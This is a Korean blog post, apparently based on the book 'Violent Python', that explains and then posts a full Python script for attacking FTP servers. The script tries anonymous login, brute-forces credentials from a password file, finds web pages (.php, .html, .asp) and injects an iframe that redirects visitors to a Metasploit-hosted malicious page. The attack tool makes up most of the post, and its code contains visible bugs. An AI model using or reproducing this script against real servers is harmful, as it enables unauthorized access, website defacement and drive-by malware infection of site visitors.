(만약 본 게시글이 저작권 법에 위촉된다면 바로 삭제 하겠습니다.)
어제까지는 SSH에 대해 다루었는데요.
이번에는 FTP접속을해서 웹페이지에 제가 metasploit으로 악성코드가 있는 웹페이지로 리다이렉션
하게 만드는걸 다룰려고 합니다.
일단 소스코드가 100줄 정도 되니
무작정 올린는거 보다.
FTP를 이용해서 웹페이지까지 수정할려면
어떤 순서로 코드를 짜야될지 부터 말하고 올리도록 하겠습니다.
일단 로그인을 해야되고
익명으로 로그인이 안되면
브루트 포스로 뚫어야 됩니다.
그렇게 로그인에 성공하면
.php나 .html 그리고 .asp 확장자의 문서를 찾습니다.
어차피 웹에 쓰이는 거고 하나만 인젝션 해도 성공이니까요 굳이 메인 페이지를 안찾아도 됩니다.
그리고 사용자에게 입력맡은 리다이렉션 코드를 수정해주고 나와주면 끝~!(이때 iframe태그를 사용합니다)
소스는 다음과 같습니다~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | # -*- coding: utf-8 -*- import ftplib import optparse import time def anonLogin(hostname): # 익명 로그인 시도 try: ftp = ftplib.FTP(hostname) ftp.login('anonymous', 'me@your.com') print '\n[*]' + str(hostname) \ + ' FTP Anonymous Logon Succeeded.' ftp.quit() return True except Exception, e: print '\n[-] ' + str(hostname) +\ ' FTP Anonymous Logon Failed.' return False def bruteLogin(hostname, passwdFile): #만약 익명 로그인이 안되면 무차별 대입 pF = open(passwdFile, 'r') for line in pF.readline(): time.sleep(1) userName = line.split(':')[0] passWord = line.split(':')[1].strip('\r').strip('\n') print '[+] Trying: ' +userName + '/' + passWord try: ftp = ftplib.FTP(hostname) ftp.login(userName, passWord) print '\n[*] ' + str(hostname) +\ ' FTP Logon Succeeded: ' + userName+'/'+passWord ftp.quit() return (userName, passWord) except Exception,e: pass print '\n[-] Could not brute force FTP credentials.' return (None, None) def returnDefault(ftp): try: dirList = ftp.nlst() #FTP파일 목록 저장 except: dirList = [] print '[-] Could not list directory countents' print' [-] Skipping To Next Target' return retList = [] for fileName in dirList: fn = fileName.lower() if '.php' in fn or '.html' in fn or '.asp' in fn: #확장자 파일 찾는 작업 print '[+] Found Default page: '+ fileName retList.append(fileName) def injectPage(ftp, page, redirect): #입력받은 리다이렉션 링크 삽입 f =open(page + '.tmp', 'w') ftp.retrlines('RETR ' + page, f.write) print '[+] Downloaded Page: ' + page #권한 문제 때문에 다운받아 수정하고 다시 올리는 방식 f.write(redirect) f.close() print '[+] Injected Malicious IFrame on: ' + page ftp.storlines('STOR ' + page, open(page + '.tmp')) print '[+] Uploaded Injected Page: ' + page def attack(username, password, tgtHost, redirect): #여태 만든 함수들로 공격코드 작성 ftp = ftplib.FTP(tgtHost) ftp.login(username, password) defPages = returnDefault(ftp) for defPage in defPages: injectPage(ftp, defPage, redirect) def main(): parser = optparse.OptionParser('usage %prog '+\ '-H <target host[s]> -r <redirect page> '+\ '[-f <userpass file>]') parser.add_option('-H', dest = 'tgtHosts', type = 'string',\ help = 'specify target host') parser.add_option('-f', dest='passwdFile', type='string', \ help='specify user/password file') parser.add_option('-r', dest='redirect', type='string', \ help='specify a redirection page') (options, args) = parser.parse_args() tgtHosts = str(options.tgtHosts).split(',') passwdFile = options.passwdFile redirect = options.redirect if tgtHosts == None or redirect == None: print parser.usage exit(0) for tgtHost in tgtHosts: username = None password = None if anonLogin(tgtHost) == True: username = 'anonymous' password = 'me@your.com' print '[+] Using Anonymous Creds to attack' attack(username, password, tgtHost, redirect) elif passwdFile != None: (username, password) =\ bruteLogin(tgtHost, passwdFile) if password != None: '[+] Using Creds: ' +\ username + '\ ' + password + ' to attack' attack(username, password, tgtHost, redirect) if __name__ == '__main__': main() | cs |
이번에는 주석좀 넣어봤습니다.
함수가 어떤 동작을 하는지만 적어봤는데
앞으로는 귀찮아 하지말고 적어야겠죠ㅋㅋ
근데 앞에서 다 설명해 버려서 할것도 없다는......
뭐 여기까지 하도록 하죠ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
'파이썬' 카테고리의 다른 글
해커의 언어. 치명적 파이썬 SMB Exploit (0) | 2017.08.23 |
---|---|
해커의언어, 치명적 파이썬 BotNet (0) | 2017.08.20 |
해커의언어, 치명적 파이썬 BruteKey (0) | 2017.08.19 |
해커의 언어, 치명적 파이썬 sshBrute (0) | 2017.08.18 |
오류 고침 (0) | 2017.08.18 |